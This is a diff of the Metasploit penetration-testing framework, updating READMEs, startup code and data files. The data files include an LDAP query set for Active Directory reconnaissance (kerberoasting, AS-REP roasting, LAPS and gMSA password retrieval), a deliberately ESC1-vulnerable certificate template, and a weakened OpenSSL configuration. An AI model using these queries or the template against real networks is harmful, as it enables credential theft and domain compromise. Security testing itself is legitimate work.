unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.1.0, MIT
|
||||
unix-crypt, 1.3.0, BSD
|
||||
unicode-display_width, 2.5.0, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
uuid, 2.3.9, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.7.0, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.5, "Apache 2.0"
|
||||
webrick, 1.8.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.6, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.4, BSD
|
||||
windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.5.4, MIT
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.34, MIT
|
||||
zeitwerk, 2.6.12, MIT
|
||||
|
||||
@@ -1,27 +1,33 @@
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
Metasploit [](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
[COPYING](COPYING) for more details.
|
||||
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
The latest version of this software is available from: https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
You can find documentation on Metasploit and how to use it at:
|
||||
https://docs.metasploit.com/
|
||||
|
||||
Information about setting up a development environment can be found at:
|
||||
https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html
|
||||
|
||||
Our bug and feature request tracker can be found at:
|
||||
https://github.com/rapid7/metasploit-framework/issues
|
||||
|
||||
New bugs and feature requests should be directed to:
|
||||
https://r-7.co/MSF-BUGv1
|
||||
|
||||
API documentation for writing modules can be found at:
|
||||
https://rapid7.github.io/metasploit-framework/api
|
||||
https://docs.metasploit.com/api/
|
||||
|
||||
Questions and suggestions can be sent to: Freenode IRC channel or e-mail the metasploit-hackers mailing list
|
||||
|
||||
Installing
|
||||
--
|
||||
|
||||
Generally, you should use [the free installer](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers),
|
||||
Generally, you should use [the free installer](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](https://r-7.co/MSF-DEV) if
|
||||
few clicks. See the [Dev Environment Setup](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
Using Metasploit
|
||||
@@ -29,21 +35,20 @@ Using Metasploit
|
||||
Metasploit can do all sorts of things. The first thing you'll want to do
|
||||
is start `msfconsole`, but after that, you'll probably be best served by
|
||||
reading [Metasploit Unleashed][unleashed], the [great community
|
||||
resources](https://metasploit.github.io), or the [wiki].
|
||||
resources](https://metasploit.github.io), or take a look at the
|
||||
[Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
|
||||
page on the documentation website.
|
||||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
|
||||
See the [Dev Environment Setup][devenv] guide on GitHub, which will
|
||||
walk you through the whole process from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request. For slightly more information, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
[wiki]: https://github.com/rapid7/metasploit-framework/wiki
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
|
||||
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
|
||||
[devenv]: https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html "Metasploit Development Environment Setup"
|
||||
[unleashed]: https://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
This directory contains ActiveRecord concerns, models and validators.
|
||||
@@ -0,0 +1,3 @@
|
||||
Contains various files that help configure Metasploit. Most files here you'll never have to deal with, though
|
||||
`database.yml.example` might be useful for those looking to configure their database, and `openssl.conf`
|
||||
might be helpful for those trying to troubleshoot OpenSSL issues in Metasploit.
|
||||
@@ -1,3 +1,6 @@
|
||||
require 'fiddle'
|
||||
Fiddle.const_set(:VERSION, '0.0.0') unless Fiddle.const_defined?(:VERSION)
|
||||
|
||||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
@@ -44,7 +47,11 @@ module Metasploit
|
||||
when "test"
|
||||
config.eager_load = false
|
||||
when "production"
|
||||
config.eager_load = true
|
||||
config.eager_load = false
|
||||
end
|
||||
|
||||
if ActiveRecord.respond_to?(:legacy_connection_handling=)
|
||||
ActiveRecord.legacy_connection_handling = false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -38,3 +38,64 @@ lib_path = root.join('lib').to_path
|
||||
unless $LOAD_PATH.include? lib_path
|
||||
$LOAD_PATH.unshift lib_path
|
||||
end
|
||||
|
||||
require 'digest'
|
||||
require 'metasploit/framework/version'
|
||||
require 'msf/base/config'
|
||||
|
||||
# Invalidate and delete the bootsnap cache if required. For instance if the metasploit-framework version has changed.
|
||||
#
|
||||
# @param [Hash] bootsnap_config See https://github.com/Shopify/bootsnap/blob/95e8d170aea99a831fd484ce09ad2f195644e740/lib/bootsnap.rb#L38
|
||||
# @return [void]
|
||||
def invalidate_bootsnap_cache!(bootsnap_config)
|
||||
expected_cache_metadata = {
|
||||
'metasploit_framework_version' => Metasploit::Framework::Version::VERSION,
|
||||
'ruby_description' => RUBY_DESCRIPTION,
|
||||
'bundler_lockfile_hash' => Digest::MD5.hexdigest(Bundler.read_file(Bundler.default_lockfile)),
|
||||
'bootsnap_config' => {
|
||||
'load_path_cache' => bootsnap_config[:load_path_cache],
|
||||
'compile_cache_iseq' => bootsnap_config[:compile_cache_iseq],
|
||||
'compile_cache_yaml' => bootsnap_config[:compile_cache_yaml],
|
||||
}
|
||||
}
|
||||
|
||||
cache_metadata_path = File.join(bootsnap_config[:cache_dir], "metadata.yaml")
|
||||
if File.exist?(cache_metadata_path)
|
||||
cache_metadata = YAML.safe_load(File.binread(cache_metadata_path))
|
||||
if cache_metadata != expected_cache_metadata
|
||||
FileUtils.rm_rf(bootsnap_config[:cache_dir], secure: true)
|
||||
end
|
||||
end
|
||||
|
||||
FileUtils.mkdir_p(bootsnap_config[:cache_dir])
|
||||
File.binwrite(cache_metadata_path, expected_cache_metadata.to_yaml)
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Attempt to use bootsnap caching for improved startup time
|
||||
begin
|
||||
require 'bootsnap'
|
||||
env = ENV['RAILS_ENV'] || ENV['RACK_ENV'] || ENV['ENV']
|
||||
development_mode = ['', nil, 'development'].include?(env)
|
||||
|
||||
cache_dir = ::File.join(Msf::Config.config_directory, "bootsnap_cache")
|
||||
bootsnap_config = {
|
||||
cache_dir: cache_dir,
|
||||
ignore_directories: [],
|
||||
development_mode: development_mode,
|
||||
load_path_cache: true, # Optimize the LOAD_PATH with a cache
|
||||
compile_cache_iseq: false, # Don't compile Ruby code into ISeq cache, breaks coverage reporting.
|
||||
compile_cache_yaml: false, # Don't compile YAML into a cache
|
||||
readonly: false, # Update caches - https://github.com/Shopify/bootsnap/commit/b51397f96c33aa421fd5c29484fb9574df9eb451
|
||||
}
|
||||
invalidate_bootsnap_cache!(bootsnap_config)
|
||||
Bootsnap.setup(**bootsnap_config)
|
||||
rescue => e
|
||||
$stderr.puts "Warning: Failed bootsnap cache setup - #{e.class} #{e} #{e.backtrace}"
|
||||
begin
|
||||
FileUtils.rm_rf(cache_dir, secure: true)
|
||||
rescue
|
||||
$stderr.puts 'Warning: Failed deleting bootsnap cache'
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
openssl_conf = openssl_init
|
||||
|
||||
[openssl_init]
|
||||
providers = provider_sect
|
||||
ssl_conf = ssl_sect
|
||||
|
||||
[provider_sect]
|
||||
default = default_sect
|
||||
legacy = legacy_sect
|
||||
|
||||
[default_sect]
|
||||
activate = 1
|
||||
|
||||
[legacy_sect]
|
||||
activate = 1
|
||||
|
||||
[ssl_sect]
|
||||
system_default = system_default_sect
|
||||
|
||||
[system_default_sect]
|
||||
MinProtocol = SSLv3
|
||||
CipherString = ALL:@SECLEVEL=0
|
||||
Options = UnsafeLegacyRenegotiation
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
---
|
||||
info:
|
||||
title: Metasploit Framework
|
||||
description: Metasploit Framework
|
||||
x-cortex-git:
|
||||
github:
|
||||
alias: r7org
|
||||
repository: rapid7/metasploit-framework
|
||||
x-cortex-tag: metasploit-framework
|
||||
x-cortex-type: service
|
||||
x-cortex-domain-parents:
|
||||
- tag: metasploit
|
||||
openapi: 3.0.1
|
||||
servers:
|
||||
- url: "/"
|
||||
@@ -0,0 +1,7 @@
|
||||
This folder contains various data files used for a variety of purposes, including but not limited to banners for the
|
||||
console, exploit source code for exploits (under `data/exploits`), template code and binaries, wordlists and shellcode.
|
||||
|
||||
As a general rule of thumb this folder will most often be used when you are using compiled binaries or source code from
|
||||
other exploits for cases such as local privilege escalation exploits and need to provide the exploit code and compiled
|
||||
binaries so that maintainers can verify the binary and compile it themselves, as so that modules can find the R7 compiled
|
||||
version of the resulting binary for use during exploitation.
|
||||
@@ -0,0 +1,27 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
|
||||
# the request). Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: -1
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
msPKI-Certificate-Name-Flag: 1
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -1,43 +1,160 @@
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_ALL_OBJECT_CLASS
|
||||
description: 'Dump all objects containing any objectClass field.'
|
||||
filter: '(objectClass=*)'
|
||||
- action: ENUM_ACCOUNTS
|
||||
description: 'Dump info about all known user accounts in the domain.'
|
||||
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368)(objectcategory=user)(objectClass=user))'
|
||||
attributes:
|
||||
- dn
|
||||
- objectClass
|
||||
- name
|
||||
- description
|
||||
- displayName
|
||||
- sAMAccountName
|
||||
- objectSID
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
- homeDirectory
|
||||
- homeDrive
|
||||
- profilePath
|
||||
- memberof
|
||||
- lastLogoff
|
||||
- lastLogon
|
||||
- lastLogonDate
|
||||
- logonCount
|
||||
- badPwdCount
|
||||
- pwdLastSet
|
||||
- SmartcardLogonRequired
|
||||
- LastBadPasswordAttempt
|
||||
- PasswordLastSet
|
||||
- PaswordNeverExpires
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
|
||||
- action: ENUM_AD_CS_CAS
|
||||
description: 'Enumerate AD Certificate Service certificate authorities.'
|
||||
base_dn_prefix: 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
filter: '(objectClass=pKIEnrollmentService)'
|
||||
attributes:
|
||||
- cn
|
||||
- name
|
||||
- cACertificateDN
|
||||
- dNSHostname
|
||||
- certificateTemplates
|
||||
- objectGUID
|
||||
- caCertificate
|
||||
references:
|
||||
- https://aaroneg.com/post/2018-05-15-enterprise-ca/
|
||||
- action: ENUM_AD_CS_CERT_TEMPLATES
|
||||
description: 'Enumerate AD Certificate Service certificate templates.'
|
||||
base_dn_prefix: 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
filter: '(objectClass=pkicertificatetemplate)'
|
||||
attributes:
|
||||
- cn
|
||||
- name
|
||||
- displayName
|
||||
- msPKI-Cert-Template-OID
|
||||
- msPKI-Template-Schema-Version
|
||||
- msPKI-Enrollment-Flag
|
||||
- msPKI-Certificate-Name-Flag
|
||||
- msPKI-Private-Key-Flag
|
||||
- msPKI-RA-Signature
|
||||
- pKIExtendedKeyUsage
|
||||
references:
|
||||
- https://web.archive.org/web/20220818094600if_/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf
|
||||
- action: ENUM_ADMIN_OBJECTS
|
||||
description: 'Dump info about all objects with protected ACLs (i.e highly privileged objects).'
|
||||
filter: '(adminCount=1)'
|
||||
attributes:
|
||||
- dn
|
||||
- description
|
||||
- distinguishedName
|
||||
- name
|
||||
- samAccountName
|
||||
- objectSID
|
||||
- objectGUID
|
||||
- objectCategory
|
||||
- member
|
||||
- memberof
|
||||
references:
|
||||
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
|
||||
- action: ENUM_ALL_OBJECT_CATEGORY
|
||||
description: 'Dump all objects containing any objectCategory field.'
|
||||
filter: '(objectCategory=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectCategory
|
||||
- action: ENUM_ACCOUNTS
|
||||
description: 'Dump info about all known user accounts in the domain.'
|
||||
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
|
||||
- action: ENUM_ALL_OBJECT_CLASS
|
||||
description: 'Dump all objects containing any objectClass field.'
|
||||
filter: '(objectClass=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectClass
|
||||
- action: ENUM_COMPUTERS
|
||||
description: 'Dump all objects containing an objectCategory or objectClass of Computer.'
|
||||
filter: '(|(objectCategory=computer)(objectClass=computer))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- description
|
||||
- displayName
|
||||
- samAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
- homeDirectory
|
||||
- homeDrive
|
||||
- profilePath
|
||||
- action: ENUM_COMPUTERS
|
||||
description: 'Dump all objects containing an objectCategory of Computer.'
|
||||
filter: '(objectCategory=Computer)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- sAMAccountName
|
||||
- objectSID
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystem
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- lastLogonTimestamp
|
||||
- servicePrincipalName
|
||||
- primaryGroupId
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
|
||||
- action: ENUM_CONSTRAINED_DELEGATION
|
||||
description: 'Dump info about all known objects that allow contrained delegation.'
|
||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=16777216)'
|
||||
attributes:
|
||||
- cn
|
||||
- sAMAccountName
|
||||
- objectCategory
|
||||
- msds-allowedtodelegateto
|
||||
- servicePrincipalName
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation
|
||||
- action: ENUM_DNS_RECORDS
|
||||
description: 'Dump info about DNS records the server knows about using the dnsNode object class.'
|
||||
filter: '(objectClass=dnsNode)'
|
||||
attributes:
|
||||
- dc
|
||||
- cn
|
||||
- dnsRecord
|
||||
- dnsTombstoned
|
||||
- name
|
||||
references:
|
||||
- https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/
|
||||
- https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
|
||||
- action: ENUM_DNS_ZONES
|
||||
description: 'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.'
|
||||
filter: '(objectClass=dnsZone)'
|
||||
base_dn_prefix: 'DC=DomainDnsZones'
|
||||
attributes:
|
||||
- name
|
||||
- distinguishedName
|
||||
references:
|
||||
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
|
||||
- action: ENUM_DOMAIN
|
||||
description: 'Dump info about the Active Directory domain.'
|
||||
filter: '(objectClass=domain)'
|
||||
attributes:
|
||||
- ms-DS-MachineAccountQuota
|
||||
- objectSID
|
||||
- name
|
||||
- lockoutduration
|
||||
- lockoutthreshold
|
||||
- minpwdage
|
||||
- maxpwdage
|
||||
- minpwdlength
|
||||
- action: ENUM_DOMAIN_CONTROLLERS
|
||||
description: 'Dump all known domain controllers.'
|
||||
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
||||
@@ -49,8 +166,22 @@ queries:
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystem
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
|
||||
- action: ENUM_EXCHANGE_RECIPIENTS
|
||||
description: 'Dump info about all known Exchange recipients.'
|
||||
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
|
||||
attributes:
|
||||
- dn
|
||||
- mailNickname
|
||||
- proxyAddresses
|
||||
- name
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_EXCHANGE_SERVERS
|
||||
description: 'Dump info about all known Exchange servers.'
|
||||
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
|
||||
@@ -62,37 +193,182 @@ queries:
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystem
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_RECIPIENTS
|
||||
description: 'Dump info about all known Exchange recipients.'
|
||||
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
|
||||
- action: ENUM_GMSA_HASHES
|
||||
description: 'Dump info about GMSAs and their password hashes if available.'
|
||||
filter: '(objectClass=msDS-GroupManagedServiceAccount)'
|
||||
attributes:
|
||||
- dn
|
||||
- mailNickname
|
||||
- proxyAddresses
|
||||
- name
|
||||
- cn
|
||||
- displayName
|
||||
- msDS-ManagedPassword
|
||||
references:
|
||||
- https://stealthbits.com/blog/securing-gmsa-passwords/
|
||||
- https://o365blog.com/post/gmsa/
|
||||
- https://adsecurity.org/?p=4367
|
||||
- action: ENUM_GROUPS
|
||||
description: 'Dump info about all known groups in the LDAP environment.'
|
||||
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
|
||||
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup)(objectcategory=group))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- groupType
|
||||
- memberof
|
||||
- action: ENUM_ORGUNITS
|
||||
description: 'Dump info about all known organizational units in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalUnit)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- cn
|
||||
- name
|
||||
- description
|
||||
- groupType
|
||||
- memberof
|
||||
- member
|
||||
- owner
|
||||
- adminCount
|
||||
- managedBy
|
||||
- groupAttributes
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_GROUP_POLICY_OBJECTS
|
||||
description: 'Dump info about all known Group Policy Objects (GPOs) in the LDAP environment.'
|
||||
filter: '(objectClass=groupPolicyContainer)'
|
||||
attributes:
|
||||
- displayName
|
||||
- gPCFileSysPath
|
||||
- objectCategory
|
||||
- objectGUID
|
||||
references:
|
||||
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
|
||||
- action: ENUM_HOSTNAMES
|
||||
description: 'Dump info about all known hostnames in the LDAP environment.'
|
||||
filter: '(dnsHostName=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- dnsHostName
|
||||
- serverName
|
||||
references:
|
||||
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
|
||||
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
|
||||
- action: ENUM_LAPS_PASSWORDS
|
||||
description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.'
|
||||
filter: '(ms-MCS-AdmPwd=*)'
|
||||
attributes:
|
||||
- cn
|
||||
- displayName
|
||||
- ms-MCS-AdmPwd
|
||||
references:
|
||||
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ldap-ldaps
|
||||
- action: ENUM_LDAP_SERVER_METADATA
|
||||
description: 'Dump metadata about the setup of the domain.'
|
||||
filter: '(objectClass=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- defaultNamingContext
|
||||
- domainFunctionality
|
||||
- forestFunctionality
|
||||
- domainControllerFunctionality
|
||||
- dnsHostName
|
||||
references:
|
||||
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
|
||||
- action: ENUM_MACHINE_ACCOUNT_QUOTA
|
||||
description: 'Dump the number of computer accounts a user is allowed to create in a domain.'
|
||||
filter: '(objectClass=domain)'
|
||||
attributes:
|
||||
- ms-DS-MachineAccountQuota
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota
|
||||
- action: ENUM_ORGROLES
|
||||
description: 'Dump info about all known organization roles in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalRole)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_ORGUNITS
|
||||
description: 'Dump info about all known organizational units in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalUnit)'
|
||||
attributes:
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_UNCONSTRAINED_DELEGATION
|
||||
description: 'Dump info about all known objects that allow uncontrained delegation.'
|
||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
||||
attributes:
|
||||
- cn
|
||||
- sAMAccountName
|
||||
- objectCategory
|
||||
- memberof
|
||||
- member
|
||||
references:
|
||||
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
- action: ENUM_USER_ACCOUNT_DISABLED
|
||||
description: 'Dump info about disabled user accounts.'
|
||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=2)'
|
||||
attributes:
|
||||
- cn
|
||||
- displayName
|
||||
- description
|
||||
- sAMAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
- action: ENUM_USER_ACCOUNT_LOCKED_OUT
|
||||
description: 'Dump info about locked out user accounts.'
|
||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=16)'
|
||||
attributes:
|
||||
- cn
|
||||
- displayName
|
||||
- sAMAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
- action: ENUM_USER_ASREP_ROASTABLE
|
||||
description: 'Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.'
|
||||
filter: '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
|
||||
attributes:
|
||||
- cn
|
||||
- displayName
|
||||
- description
|
||||
- sAMAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- https://burmat.gitbook.io/security/hacking/domain-exploitation
|
||||
- action: ENUM_USER_PASSWORD_NEVER_EXPIRES
|
||||
description: 'Dump info about all users whose password never expires.'
|
||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
|
||||
attributes:
|
||||
- cn
|
||||
- displayName
|
||||
- description
|
||||
- sAMAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
- action: ENUM_USER_PASSWORD_NOT_REQUIRED
|
||||
description: 'Dump info about all users whose password never expires and whose account is still enabled.'
|
||||
filter: '(&(userAccountControl:1.2.840.113556.1.4.803:=32)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
|
||||
attributes:
|
||||
- cn
|
||||
- displayName
|
||||
- description
|
||||
- sAMAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
- action: ENUM_USER_SPNS_KERBEROAST
|
||||
description: 'Dump info about all user objects with Service Principal Names (SPNs) for kerberoasting.'
|
||||
filter: '(&(&(servicePrincipalName=*)(userAccountControl:1.2.840.113556.1.4.803:=512))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
|
||||
attributes:
|
||||
- cn
|
||||
- sAMAccountName
|
||||
- servicePrincipalName
|
||||
references:
|
||||
- https://malicious.link/post/2022/ldapsearch-reference/
|
||||
- https://burmat.gitbook.io/security/hacking/domain-exploitation
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
queries:
|
||||
# - action: SAMPLE_ACTION
|
||||
# description: 'A description.'
|
||||
# # base_dn_prefix: 'An optional string to prefix to the Base DN'
|
||||
# filter: '(objectClass=*)'
|
||||
# attributes:
|
||||
# - dn
|
||||
|
||||
@@ -186,6 +186,9 @@
|
||||
{
|
||||
"name": "Exchange Server 2013",
|
||||
"builds": [
|
||||
"15.0.1497.40",
|
||||
"15.0.1497.36",
|
||||
"15.0.1497.33",
|
||||
"15.0.1497.28",
|
||||
"15.0.1497.26",
|
||||
"15.0.1497.24",
|
||||
@@ -226,6 +229,12 @@
|
||||
{
|
||||
"name": "Exchange Server 2016",
|
||||
"builds": [
|
||||
"15.1.2507.12",
|
||||
"15.1.2507.9",
|
||||
"15.1.2507.6",
|
||||
"15.1.2375.31",
|
||||
"15.1.2375.28",
|
||||
"15.1.2375.24",
|
||||
"15.1.2375.18",
|
||||
"15.1.2375.17",
|
||||
"15.1.2375.12",
|
||||
@@ -280,6 +289,12 @@
|
||||
{
|
||||
"name": "Exchange Server 2019",
|
||||
"builds": [
|
||||
"15.2.1118.12",
|
||||
"15.2.1118.9",
|
||||
"15.2.1118.7",
|
||||
"15.2.986.29",
|
||||
"15.2.986.26",
|
||||
"15.2.986.22",
|
||||
"15.2.986.15",
|
||||
"15.2.986.14",
|
||||
"15.2.986.9",
|
||||
@@ -318,4 +333,4 @@
|
||||
"eol": false
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
#define _GNU_SOURCE
|
||||
